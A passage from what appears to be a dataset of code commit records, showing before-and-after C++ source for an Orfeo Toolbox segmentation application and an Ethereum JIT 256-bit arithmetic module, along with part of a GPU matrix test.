dataTypes);\n\nTYPED_TEST(GpuMatrixMatrixSubTest, SubtractFunctionality) {\n this->a.setRandom(3, 3);\n this->b.setRandom(3, 3);\n\n this->correct.setZero(3, 3);\n for (int i = 0; i < 3; ++i) {\n for (int j = 0; j < 3; ++j) {\n this->correct(i, j) = this->a(i, j) - this->b(i, j);\n }\n }\n\n this->Subtract();\n\n for (int i = 0; i < 3; ++i) {\n for (int j = 0; j < 3; ++j) {\n ASSERT_NEAR(this->result(i, j), this->correct(i, j), 0.0001);\n }\n }\n}\n\nTYPED_TEST(GpuMatrixMatrixSubTest, DifferentSizeMatricies) {\n this->a.setRandom(2, 3);\n this->b.setRandom(3, 4);\n ASSERT_DEATH(this->Subtract(), \".*\");\n}\n\nTYPED_TEST(GpuMatrixMatrixSubTest, EmptyMatrix) {\n ASSERT_DEATH(this->Subtract(), \".*\");\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2005-2017 Centre National d'Etudes Spatiales (CNES)\n *\n * This file is part of Orfeo Toolbox\n *\n * https:\/\/www.orfeo-toolbox.org\/\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"otbWrapperCompositeApplication.h\"\n#include \"otbWrapperApplicationFactory.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\n\/**\n * \\class LargeScaleMeanShift\n *\n * \\brief All-in-one application for the LSMS framework\n *\n * This application gathers the 4 steps of the large-scale MeanShift\n * segmentation framework.\n * \n *\/\nclass LargeScaleMeanShift : public CompositeApplication\n{\npublic:\n \/** Standard class typedefs. *\/\n typedef LargeScaleMeanShift Self;\n typedef CompositeApplication Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n\n\/** Standard macro *\/\n itkNewMacro(Self);\n\n itkTypeMacro(LargeScaleMeanShift, otb::CompositeApplication);\n\nprivate:\n void DoInit() ITK_OVERRIDE\n {\n SetName(\"LargeScaleMeanShift\");\n SetDescription(\"Large-scale segmentation using MeanShift\");\n\n \/\/ Documentation\n SetDocName(\"Large-Scale MeanShift\");\n SetDocLongDescription(\"This application chains together the 4 steps of the \"\n \"MeanShit framework, that is the MeanShiftSmoothing [1], the \"\n \"LSMSSegmentation [2], the LSMSSmallRegionsMerging [3] and the \"\n \"LSMSVectorization [4].\\n\\n\"\n \"This application can be a preliminary step for an object-based analysis.\\n\\n\"\n \"It generates a vector data file containing the regions extracted with \"\n \"the MeanShift algorithm. The spatial and range radius parameters allow \"\n \"to adapt the sensitivity of the algorithm depending on the image dynamic \"\n \"and resolution. There is a step to remove small regions whose size \"\n \"(in pixels) is less than the given 'minsize' parameter. These regions \"\n \"are merged to a similar neighbor region. In the output vectors, there \"\n \"are additional fields to describe each region. In particular the mean \"\n \"and standard deviation (for each band) is computed for each region \"\n \"using the input image as support. If an optional 'imfield' image is \"\n \"given, it will be used as support image instead.\"\n );\n SetDocLimitations(\"None\");\n SetDocAuthors(\"OTB-Team\");\n SetDocSeeAlso(\"[1] MeanShiftSmoothing\\n\"\n \"[2] LSMSSegmentation\\n\"\n \"[3] LSMSSmallRegionsMerging\\n\"\n \"[4] LSMSVectorization\");\n\n AddDocTag(Tags::Segmentation);\n AddDocTag(\"LSMS\");\n\n ClearApplications();\n AddApplication(\"MeanShiftSmoothing\", \"smoothing\", \"Smoothing step\");\n AddApplication(\"LSMSSegmentation\", \"segmentation\", \"Segmentation step\");\n AddApplication(\"LSMSSmallRegionsMerging\", \"merging\", \"Small region merging step\");\n AddApplication(\"LSMSVectorization\", \"vectorization\", \"Vectorization step\");\n\n ShareParameter(\"in\",\"smoothing.in\");\n ShareParameter(\"spatialr\",\"smoothing.spatialr\");\n ShareParameter(\"ranger\",\"smoothing.ranger\");\n ShareParameter(\"minsize\",\"merging.minsize\");\n\n ShareParameter(\"tilesizex\",\"segmentation.tilesizex\");\n ShareParameter(\"tilesizey\",\"segmentation.tilesizey\");\n\n AddParameter(ParameterType_InputImage, \"imfield\", \"Support image for field computation\");\n SetParameterDescription( \"imfield\", \"This is an optional support image \"\n \"that can be used to compute field values in each region.\" );\n MandatoryOff(\"imfield\");\n\n ShareParameter(\"out\",\"vectorization.out\");\n\n AddParameter( ParameterType_Empty, \"cleanup\", \"Temporary files cleaning\" );\n EnableParameter( \"cleanup\" );\n SetParameterDescription( \"cleanup\",\n \"If activated, the application will try to clean all temporary files it created\" );\n MandatoryOff( \"cleanup\" );\n\n \/\/ Setup RAM\n ShareParameter(\"ram\",\"smoothing.ram\");\n Connect(\"merging.ram\",\"smoothing.ram\");\n Connect(\"vectorization.ram\",\"smoothing.ram\");\n\n Connect(\"merging.tilesizex\",\"segmentation.tilesizex\");\n Connect(\"merging.tilesizey\",\"segmentation.tilesizey\");\n Connect(\"vectorization.tilesizex\",\"segmentation.tilesizex\");\n Connect(\"vectorization.tilesizey\",\"segmentation.tilesizey\");\n\n \/\/ TODO : this is not exactly true, we used to choose the smoothed image instead\n Connect(\"merging.in\",\"smoothing.in\");\n\n \/\/ Setup constant parameters\n GetInternalApplication(\"smoothing\")->SetParameterString(\"foutpos\",\"foo\");\n GetInternalApplication(\"smoothing\")->EnableParameter(\"foutpos\");\n\n \/\/ Doc example parameter settings\n SetDocExampleParameterValue(\"in\", \"QB_1_ortho.tif\");\n SetDocExampleParameterValue(\"spatialr\", \"4\");\n SetDocExampleParameterValue(\"ranger\", \"80\");\n SetDocExampleParameterValue(\"minsize\", \"16\");\n SetDocExampleParameterValue(\"out\", \"regions.shp\");\n\n SetOfficialDocLink();\n }\n\n void DoUpdateParameters() ITK_OVERRIDE\n {}\n\n void DoExecute() ITK_OVERRIDE\n {\n std::vector<std::string> tmpFilenames;\n tmpFilenames.push_back(GetParameterString(\"out\")+std::string(\"_labelmap.tif\"));\n tmpFilenames.push_back(GetParameterString(\"out\")+std::string(\"_labelmap_merged.tif\"));\n tmpFilenames.push_back(GetParameterString(\"out\")+std::string(\"_labelmap.geom\"));\n tmpFilenames.push_back(GetParameterString(\"out\")+std::string(\"_labelmap_merged.geom\"));\n ExecuteInternal(\"smoothing\");\n \/\/ in-memory connexion here (saves 1 additional update for foutpos)\n GetInternalApplication(\"segmentation\")->SetParameterInputImage(\"in\",\n GetInternalApplication(\"smoothing\")->GetParameterOutputImage(\"fout\"));\n GetInternalApplication(\"segmentation\")->SetParameterInputImage(\"inpos\",\n GetInternalApplication(\"smoothing\")->GetParameterOutputImage(\"foutpos\"));\n \/\/ temporary file output here\n GetInternalApplication(\"segmentation\")->SetParameterString(\"out\",\n tmpFilenames[0]);\n \/\/ take half of previous radii\n GetInternalApplication(\"segmentation\")->SetParameterFloat(\"spatialr\",\n 0.5 * (double)GetInternalApplication(\"smoothing\")->GetParameterInt(\"spatialr\"));\n GetInternalApplication(\"segmentation\")->SetParameterFloat(\"ranger\",\n 0.5 * GetInternalApplication(\"smoothing\")->GetParameterFloat(\"ranger\"));\n GetInternalApplication(\"segmentation\")->ExecuteAndWriteOutput();\n\n GetInternalApplication(\"merging\")->SetParameterString(\"inseg\",\n tmpFilenames[0]);\n GetInternalApplication(\"merging\")->SetParameterString(\"out\",\n tmpFilenames[1]);\n GetInternalApplication(\"merging\")->ExecuteAndWriteOutput();\n\n if (IsParameterEnabled(\"imfield\") && HasValue(\"imfield\"))\n {\n GetInternalApplication(\"vectorization\")->SetParameterString(\"in\",\n GetParameterString(\"imfield\"));\n }\n else\n {\n GetInternalApplication(\"vectorization\")->SetParameterString(\"in\",\n GetParameterString(\"in\"));\n }\n GetInternalApplication(\"vectorization\")->SetParameterString(\"inseg\",\n tmpFilenames[1]);\n ExecuteInternal(\"vectorization\");\n\n if( IsParameterEnabled( \"cleanup\" ) )\n {\n otbAppLogINFO( <<\"Final clean-up ...\" );\n for (unsigned int i=0 ; i<tmpFilenames.size() ; ++i)\n {\n if(itksys::SystemTools::FileExists(tmpFilenames[i].c_str()))\n {\n itksys::SystemTools::RemoveFile(tmpFilenames[i].c_str());\n }\n }\n }\n }\n\n};\n\n} \/\/ end of namespace Wrapper\n} \/\/ end of namespace otb\n\nOTB_APPLICATION_EXPORT(otb::Wrapper::LargeScaleMeanShift)\n<commit_msg>ENH: switch between raster and vector output<commit_after>\/*\n * Copyright (C) 2005-2017 Centre National d'Etudes Spatiales (CNES)\n *\n * This file is part of Orfeo Toolbox\n *\n * https:\/\/www.orfeo-toolbox.org\/\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"otbWrapperCompositeApplication.h\"\n#include \"otbWrapperApplicationFactory.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\n\/**\n * \\class LargeScaleMeanShift\n *\n * \\brief All-in-one application for the LSMS framework\n *\n * This application gathers the 4 steps of the large-scale MeanShift\n * segmentation framework.\n * \n *\/\nclass LargeScaleMeanShift : public CompositeApplication\n{\npublic:\n \/** Standard class typedefs. *\/\n typedef LargeScaleMeanShift Self;\n typedef CompositeApplication Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n\n\/** Standard macro *\/\n itkNewMacro(Self);\n\n itkTypeMacro(LargeScaleMeanShift, otb::CompositeApplication);\n\nprivate:\n void DoInit() ITK_OVERRIDE\n {\n SetName(\"LargeScaleMeanShift\");\n SetDescription(\"Large-scale segmentation using MeanShift\");\n\n \/\/ Documentation\n SetDocName(\"Large-Scale MeanShift\");\n SetDocLongDescription(\"This application chains together the 4 steps of the \"\n \"MeanShit framework, that is the MeanShiftSmoothing [1], the \"\n \"LSMSSegmentation [2], the LSMSSmallRegionsMerging [3] and the \"\n \"LSMSVectorization [4].\\n\\n\"\n \"This application can be a preliminary step for an object-based analysis.\\n\\n\"\n \"It generates a vector data file containing the regions extracted with \"\n \"the MeanShift algorithm. The spatial and range radius parameters allow \"\n \"to adapt the sensitivity of the algorithm depending on the image dynamic \"\n \"and resolution. There is a step to remove small regions whose size \"\n \"(in pixels) is less than the given 'minsize' parameter. These regions \"\n \"are merged to a similar neighbor region. In the output vectors, there \"\n \"are additional fields to describe each region. In particular the mean \"\n \"and standard deviation (for each band) is computed for each region \"\n \"using the input image as support. If an optional 'imfield' image is \"\n \"given, it will be used as support image instead.\"\n );\n SetDocLimitations(\"None\");\n SetDocAuthors(\"OTB-Team\");\n SetDocSeeAlso(\"[1] MeanShiftSmoothing\\n\"\n \"[2] LSMSSegmentation\\n\"\n \"[3] LSMSSmallRegionsMerging\\n\"\n \"[4] LSMSVectorization\");\n\n AddDocTag(Tags::Segmentation);\n AddDocTag(\"LSMS\");\n\n ClearApplications();\n AddApplication(\"MeanShiftSmoothing\", \"smoothing\", \"Smoothing step\");\n AddApplication(\"LSMSSegmentation\", \"segmentation\", \"Segmentation step\");\n AddApplication(\"LSMSSmallRegionsMerging\", \"merging\", \"Small region merging step\");\n AddApplication(\"LSMSVectorization\", \"vectorization\", \"Vectorization step\");\n\n ShareParameter(\"in\",\"smoothing.in\");\n ShareParameter(\"spatialr\",\"smoothing.spatialr\");\n ShareParameter(\"ranger\",\"smoothing.ranger\");\n ShareParameter(\"minsize\",\"merging.minsize\");\n\n ShareParameter(\"tilesizex\",\"segmentation.tilesizex\");\n ShareParameter(\"tilesizey\",\"segmentation.tilesizey\");\n\n AddParameter(ParameterType_Choice, \"mode\",\"Output mode\");\n SetParameterDescription(\"mode\", \"Type of segmented output\");\n\n AddChoice(\"mode.vector\", \"Segmentation as vector output.\");\n SetParameterDescription(\"mode.vector\",\"In this mode, the application will \"\n \"produce a vector file or database and compute field values for each \"\n \"region\");\n\n AddParameter(ParameterType_InputImage, \"mode.vector.imfield\", \"Support image for field computation\");\n SetParameterDescription( \"mode.vector.imfield\", \"This is an optional support image \"\n \"that can be used to compute field values in each region. Otherwise, the \"\n \"input image is used as support.\" );\n MandatoryOff(\"mode.vector.imfield\");\n\n ShareParameter(\"mode.vector.out\",\"vectorization.out\");\n\n AddChoice(\"mode.raster\", \"Standard segmentation with labeled raster output\");\n SetParameterDescription(\"mode.raster\",\"In this mode, the application will produce a standard labeled raster.\");\n\n ShareParameter(\"mode.raster.out\",\"merging.out\");\n\n AddParameter( ParameterType_Empty, \"cleanup\", \"Temporary files cleaning\" );\n EnableParameter( \"cleanup\" );\n SetParameterDescription( \"cleanup\",\n \"If activated, the application will try to clean all temporary files it created\" );\n MandatoryOff( \"cleanup\" );\n\n \/\/ Setup RAM\n ShareParameter(\"ram\",\"smoothing.ram\");\n Connect(\"merging.ram\",\"smoothing.ram\");\n Connect(\"vectorization.ram\",\"smoothing.ram\");\n\n Connect(\"merging.tilesizex\",\"segmentation.tilesizex\");\n Connect(\"merging.tilesizey\",\"segmentation.tilesizey\");\n Connect(\"vectorization.tilesizex\",\"segmentation.tilesizex\");\n Connect(\"vectorization.tilesizey\",\"segmentation.tilesizey\");\n\n \/\/ TODO : this is not exactly true, we used to choose the smoothed image instead\n Connect(\"merging.in\",\"smoothing.in\");\n\n \/\/ Setup constant parameters\n GetInternalApplication(\"smoothing\")->SetParameterString(\"foutpos\",\"foo\");\n GetInternalApplication(\"smoothing\")->EnableParameter(\"foutpos\");\n\n \/\/ Doc example parameter settings\n SetDocExampleParameterValue(\"in\", \"QB_1_ortho.tif\");\n SetDocExampleParameterValue(\"spatialr\", \"4\");\n SetDocExampleParameterValue(\"ranger\", \"80\");\n SetDocExampleParameterValue(\"minsize\", \"16\");\n SetDocExampleParameterValue(\"out\", \"regions.shp\");\n\n SetOfficialDocLink();\n\n DebugOn();\n }\n\n void DoUpdateParameters() ITK_OVERRIDE\n {}\n\n void DoExecute() ITK_OVERRIDE\n {\n std::vector<std::string> tmpFilenames;\n tmpFilenames.push_back(GetParameterString(\"out\")+std::string(\"_labelmap.tif\"));\n tmpFilenames.push_back(GetParameterString(\"out\")+std::string(\"_labelmap.geom\"));\n ExecuteInternal(\"smoothing\");\n \/\/ in-memory connexion here (saves 1 additional update for foutpos)\n GetInternalApplication(\"segmentation\")->SetParameterInputImage(\"in\",\n GetInternalApplication(\"smoothing\")->GetParameterOutputImage(\"fout\"));\n GetInternalApplication(\"segmentation\")->SetParameterInputImage(\"inpos\",\n GetInternalApplication(\"smoothing\")->GetParameterOutputImage(\"foutpos\"));\n \/\/ temporary file output here\n GetInternalApplication(\"segmentation\")->SetParameterString(\"out\",\n tmpFilenames[0]);\n \/\/ take half of previous radii\n GetInternalApplication(\"segmentation\")->SetParameterFloat(\"spatialr\",\n 0.5 * (double)GetInternalApplication(\"smoothing\")->GetParameterInt(\"spatialr\"));\n GetInternalApplication(\"segmentation\")->SetParameterFloat(\"ranger\",\n 0.5 * GetInternalApplication(\"smoothing\")->GetParameterFloat(\"ranger\"));\n GetInternalApplication(\"segmentation\")->ExecuteAndWriteOutput();\n\n GetInternalApplication(\"merging\")->SetParameterString(\"inseg\",\n tmpFilenames[0]);\n EnableParameter(\"mode.raster.out\");\n if (GetParameterString(\"mode\") == \"vector\")\n {\n tmpFilenames.push_back(GetParameterString(\"out\")+std::string(\"_labelmap_merged.tif\"));\n tmpFilenames.push_back(GetParameterString(\"out\")+std::string(\"_labelmap_merged.geom\"));\n GetInternalApplication(\"merging\")->SetParameterString(\"out\",\n tmpFilenames[2]);\n GetInternalApplication(\"merging\")->ExecuteAndWriteOutput();\n if (IsParameterEnabled(\"mode.vector.imfield\") &&\n HasValue(\"mode.vector.imfield\"))\n {\n GetInternalApplication(\"vectorization\")->SetParameterString(\"in\",\n GetParameterString(\"mode.vector.imfield\"));\n }\n else\n {\n GetInternalApplication(\"vectorization\")->SetParameterString(\"in\",\n GetParameterString(\"in\"));\n }\n GetInternalApplication(\"vectorization\")->SetParameterString(\"inseg\",\n tmpFilenames[2]);\n ExecuteInternal(\"vectorization\");\n }\n else\n {\n GetInternalApplication(\"merging\")->ExecuteAndWriteOutput();\n }\n DisableParameter(\"mode.raster.out\");\n\n if( IsParameterEnabled( \"cleanup\" ) )\n {\n otbAppLogINFO( <<\"Final clean-up ...\" );\n for (unsigned int i=0 ; i<tmpFilenames.size() ; ++i)\n {\n if(itksys::SystemTools::FileExists(tmpFilenames[i].c_str()))\n {\n itksys::SystemTools::RemoveFile(tmpFilenames[i].c_str());\n }\n }\n }\n }\n\n};\n\n} \/\/ end of namespace Wrapper\n} \/\/ end of namespace otb\n\nOTB_APPLICATION_EXPORT(otb::Wrapper::LargeScaleMeanShift)\n<|endoftext|>"} {"text":"<commit_before>#include \"Arith256.h\"\n#include \"Runtime.h\"\n#include \"Type.h\"\n\n#include <llvm\/IR\/Function.h>\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nArith256::Arith256(llvm::IRBuilder<>& _builder) :\n\tCompilerHelper(_builder)\n{\n\tusing namespace llvm;\n\n\tm_result = m_builder.CreateAlloca(Type::Word, nullptr, \"arith.result\");\n\tm_arg1 = m_builder.CreateAlloca(Type::Word, nullptr, \"arith.arg1\");\n\tm_arg2 = m_builder.CreateAlloca(Type::Word, nullptr, \"arith.arg2\");\n\tm_arg3 = m_builder.CreateAlloca(Type::Word, nullptr, \"arith.arg3\");\n\n\tusing Linkage = GlobalValue::LinkageTypes;\n\n\tllvm::Type* arg2Types[] = {Type::WordPtr, Type::WordPtr, Type::WordPtr};\n\tllvm::Type* arg3Types[] = {Type::WordPtr, Type::WordPtr, Type::WordPtr, Type::WordPtr};\n\n\tm_mul = Function::Create(FunctionType::get(Type::Void, arg2Types, false), Linkage::ExternalLinkage, \"arith_mul\", getModule());\n\tm_div = Function::Create(FunctionType::get(Type::Void, arg2Types, false), Linkage::ExternalLinkage, \"arith_div\", getModule());\n\tm_mod = Function::Create(FunctionType::get(Type::Void, arg2Types, false), Linkage::ExternalLinkage, \"arith_mod\", getModule());\n\tm_sdiv = Function::Create(FunctionType::get(Type::Void, arg2Types, false), Linkage::ExternalLinkage, \"arith_sdiv\", getModule());\n\tm_smod = Function::Create(FunctionType::get(Type::Void, arg2Types, false), Linkage::ExternalLinkage, \"arith_smod\", getModule());\n\tm_exp = Function::Create(FunctionType::get(Type::Void, arg2Types, false), Linkage::ExternalLinkage, \"arith_exp\", getModule());\n\tm_addmod = Function::Create(FunctionType::get(Type::Void, arg3Types, false), Linkage::ExternalLinkage, \"arith_addmod\", getModule());\n\tm_mulmod = Function::Create(FunctionType::get(Type::Void, arg3Types, false), Linkage::ExternalLinkage, \"arith_mulmod\", getModule());\n}\n\nArith256::~Arith256()\n{}\n\nllvm::Value* Arith256::binaryOp(llvm::Function* _op, llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\tm_builder.CreateStore(_arg1, m_arg1);\n\tm_builder.CreateStore(_arg2, m_arg2);\n\tm_builder.CreateCall3(_op, m_arg1, m_arg2, m_result);\n\treturn m_builder.CreateLoad(m_result);\n}\n\nllvm::Value* Arith256::ternaryOp(llvm::Function* _op, llvm::Value* _arg1, llvm::Value* _arg2, llvm::Value* _arg3)\n{\n\tm_builder.CreateStore(_arg1, m_arg1);\n\tm_builder.CreateStore(_arg2, m_arg2);\n\tm_builder.CreateStore(_arg3, m_arg3);\n\tm_builder.CreateCall4(_op, m_arg1, m_arg2, m_arg3, m_result);\n\treturn m_builder.CreateLoad(m_result);\n}\n\nllvm::Value* Arith256::mul(llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\treturn binaryOp(m_mul, _arg1, _arg2);\n}\n\nllvm::Value* Arith256::div(llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\treturn binaryOp(m_div, _arg1, _arg2);\n}\n\nllvm::Value* Arith256::mod(llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\treturn binaryOp(m_mod, _arg1, _arg2);\n}\n\nllvm::Value* Arith256::sdiv(llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\treturn binaryOp(m_sdiv, _arg1, _arg2);\n}\n\nllvm::Value* Arith256::smod(llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\treturn binaryOp(m_smod, _arg1, _arg2);\n}\n\nllvm::Value* Arith256::exp(llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\treturn binaryOp(m_exp, _arg1, _arg2);\n}\n\nllvm::Value* Arith256::addmod(llvm::Value* _arg1, llvm::Value* _arg2, llvm::Value* _arg3)\n{\n\treturn ternaryOp(m_addmod, _arg1, _arg2, _arg3);\n}\n\nllvm::Value* Arith256::mulmod(llvm::Value* _arg1, llvm::Value* _arg2, llvm::Value* _arg3)\n{\n\treturn ternaryOp(m_mulmod, _arg1, _arg2, _arg3);\n}\n\nnamespace\n{\n\tusing s256 = boost::multiprecision::int256_t;\n\n\tinline s256 u2s(u256 _u)\n\t{\n\t\tstatic const bigint c_end = (bigint)1 << 256;\n\t\tstatic const u256 c_send = (u256)1 << 255;\n\t\tif (_u < c_send)\n\t\t\treturn (s256)_u;\n\t\telse\n\t\t\treturn (s256)-(c_end - _u);\n\t}\n\n\tinline u256 s2u(s256 _u)\n\t{\n\t\tstatic const bigint c_end = (bigint)1 << 256;\n\t\tif (_u >= 0)\n\t\t\treturn (u256)_u;\n\t\telse\n\t\t\treturn (u256)(c_end + _u);\n\t}\n}\n\n}\n}\n}\n\n\nextern \"C\"\n{\n\n\tusing namespace dev::eth::jit;\n\n\tEXPORT void arith_mul(i256* _arg1, i256* _arg2, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\t*o_result = eth2llvm(arg1 * arg2);\n\t}\n\n\tEXPORT void arith_div(i256* _arg1, i256* _arg2, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\t*o_result = eth2llvm(arg2 == 0 ? arg2 : arg1 \/ arg2);\n\t}\n\n\tEXPORT void arith_mod(i256* _arg1, i256* _arg2, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\t*o_result = eth2llvm(arg2 == 0 ? arg2 : arg1 % arg2);\n\t}\n\n\tEXPORT void arith_sdiv(i256* _arg1, i256* _arg2, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\t*o_result = eth2llvm(arg2 == 0 ? arg2 : s2u(u2s(arg1) \/ u2s(arg2)));\n\t}\n\n\tEXPORT void arith_smod(i256* _arg1, i256* _arg2, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\t*o_result = eth2llvm(arg2 == 0 ? arg2 : s2u(u2s(arg1) % u2s(arg2)));\n\t}\n\n\tEXPORT void arith_exp(i256* _arg1, i256* _arg2, i256* o_result)\n\t{\n\t\tbigint left = llvm2eth(*_arg1);\n\t\tbigint right = llvm2eth(*_arg2);\n\t\tauto ret = static_cast<u256>(boost::multiprecision::powm(left, right, bigint(2) << 256));\n\t\t*o_result = eth2llvm(ret);\n\t}\n\n\tEXPORT void arith_mulmod(i256* _arg1, i256* _arg2, i256* _arg3, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\tauto arg3 = llvm2eth(*_arg3);\n\t\tif (arg3 != 0)\n\t\t\t*o_result = eth2llvm(u256((bigint(arg1) * bigint(arg2)) % arg3));\n\t\telse\n\t\t\t*o_result = {};\n\t}\n\n\tEXPORT void arith_addmod(i256* _arg1, i256* _arg2, i256* _arg3, i256* o_result)\n\t{\n\t\tauto arg1 = llvm2eth(*_arg1);\n\t\tauto arg2 = llvm2eth(*_arg2);\n\t\tauto arg3 = llvm2eth(*_arg3);\n\t\tif (arg3 != 0)\n\t\t\t*o_result = eth2llvm(u256((bigint(arg1) + bigint(arg2)) % arg3));\n\t\telse\n\t\t\t*o_result = {};\n\t}\n\n}\n\n\n<commit_msg>Internal mul256 implementation<commit_after>#include \"Arith256.h\"\n#include \"Runtime.h\"\n#include \"Type.h\"\n\n#include <llvm\/IR\/Function.h>\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nArith256::Arith256(llvm::IRBuilder<>& _builder) :\n\tCompilerHelper(_builder)\n{\n\tusing namespace llvm;\n\n\tm_result = m_builder.CreateAlloca(Type::Word, nullptr, \"arith.result\");\n\tm_arg1 = m_builder.CreateAlloca(Type::Word, nullptr, \"arith.arg1\");\n\tm_arg2 = m_builder.CreateAlloca(Type::Word, nullptr, \"arith.arg2\");\n\tm_arg3 = m_builder.CreateAlloca(Type::Word, nullptr, \"arith.arg3\");\n\n\tusing Linkage = GlobalValue::LinkageTypes;\n\n\tllvm::Type* arg2Types[] = {Type::WordPtr, Type::WordPtr, Type::WordPtr};\n\tllvm::Type* arg3Types[] = {Type::WordPtr, Type::WordPtr, Type::WordPtr, Type::WordPtr};\n\n\tm_mul = Function::Create(FunctionType::get(Type::Void, arg2Types, false), Linkage::ExternalLinkage, \"arith_mul\", getModule());\n\tm_div = Function::Create(FunctionType::get(Type::Void, arg2Types, false), Linkage::ExternalLinkage, \"arith_div\", getModule());\n\tm_mod = Function::Create(FunctionType::get(Type::Void, arg2Types, false), Linkage::ExternalLinkage, \"arith_mod\", getModule());\n\tm_sdiv = Function::Create(FunctionType::get(Type::Void, arg2Types, false), Linkage::ExternalLinkage, \"arith_sdiv\", getModule());\n\tm_smod = Function::Create(FunctionType::get(Type::Void, arg2Types, false), Linkage::ExternalLinkage, \"arith_smod\", getModule());\n\tm_exp = Function::Create(FunctionType::get(Type::Void, arg2Types, false), Linkage::ExternalLinkage, \"arith_exp\", getModule());\n\tm_addmod = Function::Create(FunctionType::get(Type::Void, arg3Types, false), Linkage::ExternalLinkage, \"arith_addmod\", getModule());\n\tm_mulmod = Function::Create(FunctionType::get(Type::Void, arg3Types, false), Linkage::ExternalLinkage, \"arith_mulmod\", getModule());\n}\n\nArith256::~Arith256()\n{}\n\nllvm::Value* Arith256::binaryOp(llvm::Function* _op, llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\tm_builder.CreateStore(_arg1, m_arg1);\n\tm_builder.CreateStore(_arg2, m_arg2);\n\tm_builder.CreateCall3(_op, m_arg1, m_arg2, m_result);\n\treturn m_builder.CreateLoad(m_result);\n}\n\nllvm::Value* Arith256::ternaryOp(llvm::Function* _op, llvm::Value* _arg1, llvm::Value* _arg2, llvm::Value* _arg3)\n{\n\tm_builder.CreateStore(_arg1, m_arg1);\n\tm_builder.CreateStore(_arg2, m_arg2);\n\tm_builder.CreateStore(_arg3, m_arg3);\n\tm_builder.CreateCall4(_op, m_arg1, m_arg2, m_arg3, m_result);\n\treturn m_builder.CreateLoad(m_result);\n}\n\nllvm::Value* Arith256::mul(llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\treturn binaryOp(m_mul, _arg1, _arg2);\n}\n\nllvm::Value* Arith256::div(llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\treturn binaryOp(m_div, _arg1, _arg2);\n}\n\nllvm::Value* Arith256::mod(llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\treturn binaryOp(m_mod, _arg1, _arg2);\n}\n\nllvm::Value* Arith256::sdiv(llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\treturn binaryOp(m_sdiv, _arg1, _arg2);\n}\n\nllvm::Value* Arith256::smod(llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\treturn binaryOp(m_smod, _arg1, _arg2);\n}\n\nllvm::Value* Arith256::exp(llvm::Value* _arg1, llvm::Value* _arg2)\n{\n\treturn binaryOp(m_exp, _arg1, _arg2);\n}\n\nllvm::Value* Arith256::addmod(llvm::Value* _arg1, llvm::Value* _arg2, llvm::Value* _arg3)\n{\n\treturn ternaryOp(m_addmod, _arg1, _arg2, _arg3);\n}\n\nllvm::Value* Arith256::mulmod(llvm::Value* _arg1, llvm::Value* _arg2, llvm::Value* _arg3)\n{\n\treturn ternaryOp(m_mulmod, _arg1, _arg2, _arg3);\n}\n\nnamespace\n{\n\tusing s256 = boost::multiprecision::int256_t;\n\n\tinline s256 u2s(u256 _u)\n\t{\n\t\tstatic const bigint c_end = (bigint)1 << 256;\n\t\tstatic const u256 c_send = (u256)1 << 255;\n\t\tif (_u < c_send)\n\t\t\treturn (s256)_u;\n\t\telse\n\t\t\treturn (s256)-(c_end - _u);\n\t}\n\n\tinline u256 s2u(s256 _u)\n\t{\n\t\tstatic const bigint c_end = (bigint)1 << 256;\n\t\tif (_u >= 0)\n\t\t\treturn (u256)_u;\n\t\telse\n\t\t\treturn (u256)(c_end + _u);\n\t}\n\n\tusing uint128 = __uint128_t;\n\n\/\/\tuint128 add(uint128 a, uint128 b) { return a + b; }\n\/\/\tuint128 mul(uint128 a, uint128 b) { return a * b; }\n\/\/\n\/\/\tuint128 mulq(uint64_t x, uint64_t y)\n\/\/\t{\n\/\/\t\treturn (uint128)x * (uint128)y;\n\/\/\t}\n\/\/\n\/\/\tuint128 